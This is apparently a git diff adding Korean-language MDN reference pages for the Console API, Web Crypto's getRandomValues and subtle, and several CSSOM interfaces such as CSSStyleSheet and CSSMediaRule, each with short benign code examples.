console 출력 꾸미기

+ +

"%c" 명령을 사용해 콘솔 출력에 CSS 스타일을 적용할 수 있습니다.

+ +
console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");
+ +
명령 이전의 텍스트는 영향을 받지 않고, 이후의 텍스트는 매개변수로 제공한 CSS 선언을 적용합니다.
+ +
+ +
+ +

%c 구문과 함께 사용할 수 있는 CSS 속성은 다음과 같습니다. (Firefox 기준, 브라우저마다 다를 수 있음)

+ + + +
+

참고: 콘솔 메시지는 인라인 요소처럼 행동합니다. padding, margin등의 효과를 보려면 display: inline-block 등을 지정해야 합니다.

+
+ +

콘솔 그룹 사용하기

+ +

중첩 그룹을 사용하면 서로 관련된 출력 결과를 시각적으로 묶어 정돈할 수 있습니다. 새로운 중첩 블록을 생성하려면 console.group()을 호출하세요. console.groupCollapsed() 메서드도 유사하지만, 대신 새로운 블록을 접힌 채로 생성하므로 내부를 보려면 열어야 합니다.

+ +

현재 그룹에서 나가려면 console.groupEnd()를 호출하세요. 예를 들어...

+ +
console.log("This is the outer level");
+console.group("First group");
+console.log("In the first group");
+console.group("Second group");
+console.log("In the second group");
+console.warn("Still in the second group");
+console.groupEnd();
+console.log("Back to the first group");
+console.groupEnd();
+console.debug("Back to the outer level");
+ +

위의 출력은 다음과 같습니다.

+ +

Demo of nested groups in Firefox console

+ +

타이머

+ +

특정 작업의 소요시간을 측정할 땐 타이머를 사용할 수 있습니다. 타이머를 시작하려면 console.time() 메서드를 호출하세요. 유일한 매개변수로 타이머의 이름을 제공할 수 있습니다. 타이머를 멈추고, 시작한 후 지난 시간을 알아내려면 console.timeEnd() 메서드를 호출하세요. 역시, 유일한 매개변수로 이전에 사용한 타이머 이름을 제공하면 됩니다.

+ +

예를 들어...

+ +
console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");
+ +

위의 코드는 사용자가 경고 상자를 닫는데 걸린 시간을 기록한 후 출력하고, 두 번째 경고를 닫을 때까지 기다린 후, 총 걸린 시간을 출력합니다.

+ +

timerresult.png

+ +

시작할 때와 끝낼 때 모두 타이머의 이름이 표시됨을 알 수 있습니다.

+ +
참고: 타이머를 네트워크 트래픽 소요시간 측정에 사용하는 경우, 타이머는 총 소요시간을 보여주지만 네트워크 패널에 표시되는 시간은 헤더에 소모한 시간만 나타낸다는 것을 알아야 합니다. 응답 본문 로깅을 활성화한 경우, 응답 헤더와 본문의 시간을 합한 값이 타이머의 콘솔 출력과 비슷해야 합니다.
+ +

스택 추적

+ +

콘솔 객체는 스택 추적도 지원합니다. 스택 추적은 {{domxref("console.trace()")}}를 호출하게 된 경로를 보입니다. 예를 들어...

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

위 코드의 출력 결과는 다음과 같습니다.

+ +

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console")}}

+ +

같이 보기

+ + + +

다른 구현체

+ + diff --git a/files/ko/web/api/console/log/index.html b/files/ko/web/api/console/log/index.html new file mode 100644 index 0000000000..0b67dd2293 --- /dev/null +++ b/files/ko/web/api/console/log/index.html @@ -0,0 +1,94 @@ +--- +title: Console.log() +slug: Web/API/Console/log +tags: + - API + - console + - console.log() + - 메소드 +translation_of: Web/API/Console/log +--- +
{{APIRef("Console API")}}
+ +

Web Console에 메시지를 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.log(obj1 [, obj2, ..., objN]);
+console.log(msg [, subst1, ..., substN]);
+
+ +

매개 변수

+ +
+
obj1 ... objN
+
출력할 자바스크립트 객체의 모음입니다. 각각의 자바스크립트 객체들의 문자열 표현은 순서가 있는 목록에 추가되며, 출력됩니다. 
+
msg
+
0개 이상의 치환 문자열(ex:%d, %s)들을 포함하는 자바스크립트 문자열입니다.
+
subst1 ... substN
+
msg 내의 치환 문자열들을 치환할 자바스크립트 객체들입니다. 이것은 추가적인 출력 형식 제어권을 제공합니다.
+
+ +

자세한 내용은 {{domxref("console")}} 기록 문서에서 Outputting text to the console을 참조하십시오.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#consolelogobject--object-", "console.log()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.log")}}

+ +

console.dir() 과의 차이

+ +

당신은 console.dir() 과 console.log() 가 무엇이 다른지 궁금할 수 있습니다.

+ +

DOM 요소들을 콘솔로 보낼 때 Chrome에서 다른 유용한 차이점이 있습니다.

+ +

+ +

안내:

+ + + +

구체적으로, console.log는 DOM 요소에 대해 특별한 처리를 제공하지만 console.dir은 그렇지 않습니다. 이것은 종종 DOM JS 객체의 전체 표현을 보려고 할 때 유용합니다.

+ +

이것과 다른 함수들에 대한 더 많은 정보가  Chrome Console API reference에 있습니다.

+ +

객체 로깅하기

+ +

console.log(obj);를 사용하지 말고 
+ console.log(JSON.parse(JSON.stringify(obj)));를 사용하시기 바랍니다.

+ +

이 방법은 여러분이 로그를 남길 당시의 obj 값을 보려고 사용했을겁니다. 그러나 많은 브라우저가 값이 갱신 될때마다 끊임없이 바뀐 값을 보여줍니다. 이는 여러분이 원하는 방법이 아닐겁니다.

+ +

참조

+ + diff --git a/files/ko/web/api/console/time/index.html b/files/ko/web/api/console/time/index.html new file mode 100644 index 0000000000..bcb3777ccb --- /dev/null +++ b/files/ko/web/api/console/time/index.html @@ -0,0 +1,56 @@ +--- +title: Console.time() +slug: Web/API/Console/time +translation_of: Web/API/Console/time +--- +
{{APIRef("Console API")}}
+ +

타이머를 시작해 작업이 얼마나 걸리는지 추적할 수 있습니다. 각 타이머에게 고유한 이름을 줄 수 있고, 한 페이지에 최대 10,000개의 타이머를 설정할 수 있습니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출할 때, 브라우저가 밀리초 단위로 경과한 시간을 출력합니다.

+ +

자세한 내용과 예제는 {{domxref("console")}} 내의 타이머를 확인하세요.

+ +

{{AvailableInWorkers}}

+ +

문법

+ +
console.time(label);
+
+ +

파라미터

+ +
+
label
+
새 타이머에게 설정할 이름. 타이머를 식별합니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출하면 타이머가 중단되고 콘솔에 시간을 출력합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#time", "console.time()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.time")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/console/timeend/index.html b/files/ko/web/api/console/timeend/index.html new file mode 100644 index 0000000000..d9bc7674e5 --- /dev/null +++ b/files/ko/web/api/console/timeend/index.html @@ -0,0 +1,68 @@ +--- +title: Console.timeEnd() +slug: Web/API/Console/timeEnd +tags: + - 디버깅 + - 웹 개발 + - 웹 콘솔 + - 콘솔 + - 타이머 +translation_of: Web/API/Console/timeEnd +--- +
{{APIRef("Console API")}}
+ +
이전에 {{domxref("console.time()")}}를 호출하여 시작된 타이머를 중지하고 웹 콘솔에 경과 시간을 밀리초 단위로 표시합니다.
+ +
 
+ +
자세한 내용과 예제는 콘솔 문서의 Timers를 참조하세요.
+ +
 
+ +

{{AvailableInWorkers}}

+ +

구문(Syntax)

+ +
console.timeEnd(label);
+
+ +

매개 변수(Parameters)

+ +
+
label
+
중지할 타이머의 이름입니다. console.time()를 호출할 때의 이름을 사용하여 해당 타이머를 중지할 수 있는 식별자 역할을 합니다.
+
+ +

명세서(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#timeend", "console.timeEnd()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성(Browser compatibility)

+ +
+ + +

{{Compat("api.Console.timeEnd")}}

+
+ +

함께 보기(See also)

+ + diff --git a/files/ko/web/api/console/trace/index.html b/files/ko/web/api/console/trace/index.html new file mode 100644 index 0000000000..2726eca0d4 --- /dev/null +++ b/files/ko/web/api/console/trace/index.html @@ -0,0 +1,77 @@ +--- +title: console.trace() +slug: Web/API/Console/trace +tags: + - API + - DOM + - Firefox + - 디버깅 + - 메소드 + - 웹 개발 + - 웹 콘솔 + - 추적 + - 콘솔 + - 크롬 +translation_of: Web/API/Console/trace +--- +
{{APIRef("Console API")}}
+ +

웹 콘솔에 스택 추적을 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

자세한 내용과 예제는 {{domxref("console")}} 내의 스택 추적을 확인하세요.

+ +

문법

+ +
console.trace();
+
+ +

예제

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

콘솔에 다음과 같은 추적이 표시됩니다.

+ +
bar
+foo
+<anonymous>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#trace", "console.trace()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.trace")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/console/warn/index.html b/files/ko/web/api/console/warn/index.html new file mode 100644 index 0000000000..b63bb925db --- /dev/null +++ b/files/ko/web/api/console/warn/index.html @@ -0,0 +1,70 @@ +--- +title: Console.warn() +slug: Web/API/Console/warn +tags: + - API + - DOM + - 디버깅 + - 메소드 + - 웹 개발 + - 웹 콘솔 +translation_of: Web/API/Console/warn +--- +
{{APIRef("Console API")}}
+ +

웹 콘솔에 경고 메시지를 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

{{Note("Firefox에서는 웹 콘솔의 경고 옆에 작은 느낌표 아이콘이 나타납니다.")}}

+ +

문법

+ +
console.warn(obj1 [, obj2, ..., objN]);
+console.warn(msg [, subst1, ..., substN]);
+
+ +

파라미터

+ +
+
obj1 ... objN
+
출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 입력한 순서대로 함께 출력됩니다.
+
msg
+
0개 이상의 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 안의 문자열을 대체하기 위한 JavaScript 객체. 출력의 형식을 추가로 제어할 수 있게해줍니다.
+
+ +

자세한 내용은 {{domxref("console")}} 문서 내 콘솔에 텍스트를 출력하기를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#warn", "console.warn()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.warn")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/console_api/index.html b/files/ko/web/api/console_api/index.html new file mode 100644 index 0000000000..54760b8f78 --- /dev/null +++ b/files/ko/web/api/console_api/index.html @@ -0,0 +1,76 @@ +--- +title: Console API +slug: Web/API/Console_API +tags: + - API + - Console API + - Overview + - console + - 로그 + - 로깅 + - 콘솔 +translation_of: Web/API/Console_API +--- +
{{DefaultAPISidebar("Console API")}}
+ +

Console API는 코드의 특정 지점에서 값이나 변수를 기록하고, 작업의 소요 시간을 알아내는 등 개발자가 사용할 수 있는 디버깅 기능을 제공합니다.

+ +

개념과 사용법

+ +

Console API는 사유 API로 시작하였으며, 브라우저가 각자 다른 구현을 했습니다. 이후 Console API 명세가 만들어져 일관적인 동작 방식을 정의하였으며, 결국 모든 최신 브라우저가 같은 동작을 따르게 되었습니다. 그러나 일부 구현체는 여전히 자신만의 사유 함수를 가지고 있습니다. 다음 링크에서 알아보세요.

+ + + +

사용은 매우 간단합니다. {{domxref("Window.console")}}, 워커에서는 {{domxref("WorkerGlobalScope.console")}}, 아니면 그냥 console로 접근 가능한 {{domxref("console")}} 객체는 브라우저의 웹 콘솔에 값을 기록하는 등 기초적인 디버깅 작업에 사용할 수 있는 메서드를 제공합니다.

+ +

가장 자주 쓰이는 메서드는 {{domxref("console.log()")}}이며, 변수의 값을 기록할 때 사용합니다.

+ +

인터페이스

+ +
+
{{domxref("console")}}
+
로깅, 스택 추적, 타이머, 카운터 등 기초적인 디버깅 기능을 제공합니다.
+
+ +

예제

+ +
let myString = 'Hello world';
+
+// Output "Hello world" to the console
+console.log(myString);
+ +

{{domxref("console")}} 문서의 예제 항목에서 더 많은 예제를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/crypto/getrandomvalues/index.html b/files/ko/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..4bf373c855 --- /dev/null +++ b/files/ko/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,73 @@ +--- +title: Crypto.getRandomValues() +slug: Web/API/Crypto/getRandomValues +tags: + - API + - Cryptography + - Method + - Reference +translation_of: Web/API/Crypto/getRandomValues +--- +
{{APIRef("Web Crypto API")}}
+ +

Crypto.getRandomValues() 함수는 암호학적으로 강력한 수준의 임의의(random) 값을 생성합니다. 매개 변수로 제공된 배열은 임의의 숫자로 채워집니다 (암호화의 의미는 무작위입니다).

+ +

충분한 성능을 보장하기 위해 구현에서는 진정한 난수 생성기(pseudo-random number)를 사용하지 않지만 충분한 엔트로피가있는 값으로 시드 된 의사 난수 생성기를 사용하고 있습니다. 사용 된 유사난수 생성기(pseudorandom number generator, PRNG)는 구현마다 다르지만 암호화 용도에 적합합니다. 시스템 수준의 엔트로피 소스처럼 충분한 엔트로피가있는 시드를 사용하려면 구현이 필요합니다.

+ +

구문

+ +
cryptoObj.getRandomValues(typedArray);
+ +

매개변수

+ +
+
typedArray
+
Is an integer-based {{jsxref("TypedArray")}}, that is an {{jsxref("Int8Array")}}, a {{jsxref("Uint8Array")}}, an {{jsxref("Int16Array")}}, a {{jsxref("Uint16Array")}}, an {{jsxref("Int32Array")}}, or a {{jsxref("Uint32Array")}}. 배열의 모든 요소는 임의의 숫자로 재정의됩니다.
+
+ +

예외

+ + + +

예제

+ +
/* window.crypto.getRandomValues 를 사용가능하다고 가정한다. */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("나의 행운의 숫자들:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Crypto.getRandomValues")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/crypto/index.html b/files/ko/web/api/crypto/index.html new file mode 100644 index 0000000000..759b7c045d --- /dev/null +++ b/files/ko/web/api/crypto/index.html @@ -0,0 +1,35 @@ +--- +title: Crypto +slug: Web/API/Crypto +translation_of: Web/API/Crypto +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto 인터페이스는 현재 환경에서 사용 가능한 기본적인 암호화 기법을 제공합니다. 이 인터페이스를 통해 암호학적으로 강력한 무작위 숫자 생성기나 암호화에 필요한 기본 요소에 접근할 수 있습니다.

+ +

이 인터페이스 객체는 {{domxref("Window.crypto")}} 속성을 통해 웹에서 사용 가능합니다.

+ +

속성

+ +

이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.

+ +
+
{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}
+
해싱, 서명, 암호화, 복호화같은 암호화 기법에 필요한 공통 요소들에 접근할 수 있는 객체를 반환.
+
+ +

메소드

+ +

이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
넘겨받은 {{ jsxref("TypedArray") }}를 암호학적으로 무작위인 값으로 채움.
+
+

더보기

+ + +
+
diff --git a/files/ko/web/api/crypto/subtle/index.html b/files/ko/web/api/crypto/subtle/index.html new file mode 100644 index 0000000000..a3e0e6e40c --- /dev/null +++ b/files/ko/web/api/crypto/subtle/index.html @@ -0,0 +1,36 @@ +--- +title: Crypto.subtle +slug: Web/API/Crypto/subtle +translation_of: Web/API/Crypto/subtle +--- +
{{APIRef("Web Crypto API")}}
+ +

Crypto.subtle 은 읽기전용 속성이며 암호화 기법을 수행할 수 있는 {{domxref("SubtleCrypto")}} 객체를 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Crypto.subtle")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/css/index.html b/files/ko/web/api/css/index.html new file mode 100644 index 0000000000..1b36fb9573 --- /dev/null +++ b/files/ko/web/api/css/index.html @@ -0,0 +1,81 @@ +--- +title: CSS +slug: Web/API/CSS +tags: + - API + - CSSOM + - Interface + - Painting + - Reference +translation_of: Web/API/CSS +--- +
{{APIRef("CSSOM")}}
+ +

CSS 인터페이스는 유용한 CSS 관련 메서드를 가집니다. CSS 인터페이스는 정적 속성과 메서드만 가지고 있으며 아무런 객체도 CSS 인터페이스를 구현하지 않습니다. 

+ +

속성

+ +

CSS 인터페이스는 유틸리티 인터페이스이며, 이러한 형식의 어떠한 객체도 만들수 없으며 오직 정적 속성으로만 정의할 수 있습니다.

+ +

정적 속성

+ +
+
{{domxref("CSS.paintWorklet")}} {{experimental_inline}} {{SecureContext_Inline}}
+
페인팅(painting)에 관련된 모든 클래스를 지닌 워크렛(worklet)에 접근할 수 있습니다.
+
+ +

메서드

+ +

정적 메서드

+ +
+
{{domxref("CSS.registerProperty()")}}
+
사용자 지정 CSS 속성을 등록하고 속성 자료형 검사, 기본값, 상속 여부 등을 설정할 수 있습니다.
+
{{domxref("CSS.supports()")}}
+
매개변수로 주어진 속성-값 쌍 또는 조건의 지원 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.
+
+ +
+
{{domxref("CSS.escape()")}} {{experimental_inline}}
+
CSS 선택자로 사용할 문자열을 이스케이프해서 반환합니다.
+
{{domxref("CSS.factory_functions", "CSS 팩토리 함수", "", 1)}}
+
매개변수로 지정한 값을 담은 새로운 {{domxref("CSSUnitValue")}}를 생성합니다. 단위는 팩토리 함수의 이름입니다.
+
+
CSS.em(3) // CSSUnitValue {value: 3, unit: "em"}
+
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Painting API','#dom-css-paintworklet','paintWorklet')}}{{Spec2('CSS Painting API')}}paintWorklet 정적 속성 추가
{{SpecName('CSSOM', '#the-css.escape()-method', 'CSS')}}{{Spec2('CSSOM')}}escape() 정적 메서드 추가
{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}{{Spec2('CSS3 Conditional')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.CSS")}}

diff --git a/files/ko/web/api/css_object_model/index.html b/files/ko/web/api/css_object_model/index.html new file mode 100644 index 0000000000..53ffb2439a --- /dev/null +++ b/files/ko/web/api/css_object_model/index.html @@ -0,0 +1,189 @@ +--- +title: CSS 객체 모델 (CSSOM) +slug: Web/API/CSS_Object_Model +tags: + - API + - CSSOM + - Overview + - Reference +translation_of: Web/API/CSS_Object_Model +--- +

{{DefaultAPISidebar('CSSOM')}}

+ +

CSS Object Model은 JavaScript에서 CSS를 조작할 수 있는 API 집합입니다. HTML 대신 CSS가 대상인 DOM이라고 생각할 수 있으며, 사용자가 CSS 스타일을 동적으로 읽고 수정할 수 있는 방법입니다.

+ +

참고서

+ +
+ +
+ +

여러 다른 인터페이스도 CSSOM-related 규격에 의해 확장됩니다 : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.

+ +

CSS 자료형 객체 모델 {{experimental_inline}}

+ +

{{SeeCompatTable}}

+ +
+ +
+ +

자습서

+ + + +

명세서

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Typed OM")}}{{Spec2("CSS Typed OM")}}
{{SpecName("CSS Painting API")}}{{Spec2("CSS Painting API")}}Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.
{{SpecName("CSSOM View")}}{{Spec2("CSSOM View")}}Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.
{{SpecName("CSSOM")}}{{Spec2("CSSOM")}}Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.
{{SpecName("Screen Orientation")}}{{Spec2("Screen Orientation")}}
{{SpecName("CSS3 Fonts")}}{{Spec2("CSS3 Fonts")}}
{{SpecName("CSS3 Animations")}}{{Spec2("CSS3 Animations")}}
{{SpecName("CSS3 Transitions")}}{{Spec2("CSS3 Transitions")}}
{{SpecName("CSS3 Variables")}}{{Spec2("CSS3 Variables")}}
{{SpecName("CSS3 Conditional")}}{{Spec2("CSS3 Conditional")}}Defined the {{DOMxRef("CSS")}} interface.
{{SpecName("CSS3 Device")}}{{Spec2("CSS3 Device")}}
{{SpecName("CSS3 Counter Styles")}}{{Spec2("CSS3 Counter Styles")}}
{{SpecName("DOM2 Style")}}{{Spec2("DOM2 Style")}}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/cssmediarule/index.html b/files/ko/web/api/cssmediarule/index.html new file mode 100644 index 0000000000..b386fbb083 --- /dev/null +++ b/files/ko/web/api/cssmediarule/index.html @@ -0,0 +1,70 @@ +--- +title: CSSMediaRule +slug: Web/API/CSSMediaRule +tags: + - API + - CSSOM + - Interface + - Reference +translation_of: Web/API/CSSMediaRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSMediaRule 인터페이스는 하나의 CSS {{cssxref("@media")}} 규칙을 나타냅니다. {{domxref("CSSConditionRule")}} 인터페이스를 구현하므로, {{domxref("CSSGroupingRule")}}과 {{domxref("CSSRule")}} 인터페이스도 유형값 4 (CSSRule.MEDIA_RULE)로 구현합니다.

+ +

구문

+ +

WebIDL 형식을 사용해 서술합니다.

+ +
interface CSSMediaRule : CSSConditionRule {
+    readonly attribute MediaList media;
+}
+
+ +

속성

+ +

CSSMediaRule은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 속성을 구현합니다. 다음과 같은 자체 속성을 가집니다.

+ +
+
{{domxref("CSSMediaRule.media")}} {{readonlyinline}}
+
스타일 정보를 적용할 매체 정보를 나타내는 {{domxref("MediaList")}}입니다.
+
+ +

메서드

+ +

CSSMediaRule은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 메서드를 구현합니다. 자체 메서드는 가지지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }}{{ Spec2('CSS3 Conditional')}}Make it derived from the {{domxref("CSSConditionRule")}}.
{{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }}{{ Spec2('CSSOM') }}No changes from {{SpecName('DOM2 Style')}}
{{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }}{{ Spec2('DOM2 Style') }} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.CSSMediaRule")}}

diff --git a/files/ko/web/api/cssomstring/index.html b/files/ko/web/api/cssomstring/index.html new file mode 100644 index 0000000000..d7366af22e --- /dev/null +++ b/files/ko/web/api/cssomstring/index.html @@ -0,0 +1,73 @@ +--- +title: CSSOMString +slug: Web/API/CSSOMString +tags: + - API + - CSSOM + - 레퍼런스 +translation_of: Web/API/CSSOMString +--- +

{{APIRef("DOM")}}

+ +

CSSOMString 은 CSSOM 명세로 문자형 데이터를 나타내기위해 사용되며 {{domxref("DOMString")}} 또는 {{domxref("USVString")}} 을 참조할 수 있습니다. 명세의 CSSOMString 은 브라우저 공급 업체가 DOMString 과 USVString 중 사용하도록 선택한 것에 따라 결정됩니다. 메모리에 문자열을 표현하기 위해 내부적으로 UTF-8을 사용하도록 구현된 브라우저는 명세에서 CSSOMString 이 나타날 때 USVString 을 사용할 수 있지만, 이미 16 비트 시퀀스로 표현된 문자열은 DOMString 을 사용하도록 대신 선택될 것입니다.

+ +

구현 차이점

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
브라우저CSSOMString 를 위한 DOMString 또는 USVString
Firefox (Gecko)USVString
Chrome (Blink)USVString
Safari (WebKit)USVString
Edge (EdgeHTML)-
Opera (Blink)USVString
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('CSSOM', '#cssomstring-type', 'CSSOMString')}}{{Spec2("CSSOM")}}초기 정의.
+ +

함께 보기

+ + diff --git a/files/ko/web/api/cssstylesheet/index.html b/files/ko/web/api/cssstylesheet/index.html new file mode 100644 index 0000000000..08723ac9ba --- /dev/null +++ b/files/ko/web/api/cssstylesheet/index.html @@ -0,0 +1,139 @@ +--- +title: CSSStyleSheet +slug: Web/API/CSSStyleSheet +tags: + - API + - CSSOM + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/CSSStyleSheet +--- +
{{APIRef("CSSOM")}}
+ +

The CSSStyleSheet interface represents a single CSS style sheet. It inherits properties and methods from its parent, {{domxref("StyleSheet")}}.

+ +

A style sheet consists of {{domxref("CSSRule", "rules", "", 1)}}, such as {{domxref("CSSStyleRule", "style rules", "", 1)}} ("h1,h2 { font-size: 16pt }"), various at-rules (@import, @media, ...), etc. This interface lets you inspect and modify the list of rules in the stylesheet.

+ +

See the {{anch("Notes")}} section for the various ways a CSSStyleSheet object can be obtained.

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("StyleSheet")}}.

+ +
+
{{domxref("CSSStyleSheet.cssRules")}}
+
Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.
+ This is normally used to access individual rules like this: +
   styleSheet.cssRules[i] // where i = 0..cssRules.length-1
+ To add or remove items in cssRules, use the CSSStyleSheet's deleteRule() and insertRule() methods, described below.
+
{{domxref("CSSStyleSheet.ownerRule")}}
+
If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the ownerRule property will return that {{domxref("CSSImportRule")}}, otherwise it returns null.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("Stylesheet")}}.

+ +
+
{{domxref("CSSStyleSheet.deleteRule()")}}
+
Deletes a rule at the specified position from the style sheet.
+
{{domxref("CSSStyleSheet.insertRule()")}}
+
Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.
+
+ +

Notes

+ +

In some browsers, if a stylesheet is loaded from a different domain, calling cssRules results in SecurityError.

+ +

A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of CSSStyleSheet objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its owner object (Node or CSSImportRule), if any.

+ +

A CSSStyleSheet object is created and inserted into the document's styleSheets list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new CSSStyleSheet object manually (although Constructable Stylesheet Objects is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.

+ +

A (possibly incomplete) list of ways a style sheet can be associated with a document follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Reason for the style sheet to be associated with the documentAppears in document.
+ styleSheets
list
Getting the owner element/rule given the style sheet objectThe interface for the owner objectGetting the CSSStyleSheet object from the owner
{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the documentYes{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("HTMLLinkElement")}},
+ {{domxref("HTMLStyleElement")}},
+ or {{domxref("SVGStyleElement")}}
{{domxref("LinkStyle.sheet", ".sheet")}}
CSS {{cssxref("@import")}} rule in other style sheets applied to the documentYes{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}{{domxref("CSSImportRule")}}{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}
<?xml-stylesheet ?> processing instruction in the (non-HTML) documentYes{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("ProcessingInstruction")}}{{domxref("LinkStyle.sheet", ".sheet")}}
HTTP Link HeaderYesN/AN/AN/A
User agent (default) style sheetsNoN/AN/AN/A
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}{{Spec2("CSSOM")}} 
{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}{{Spec2("DOM2 Style")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSStyleSheet")}}

+ +

See also

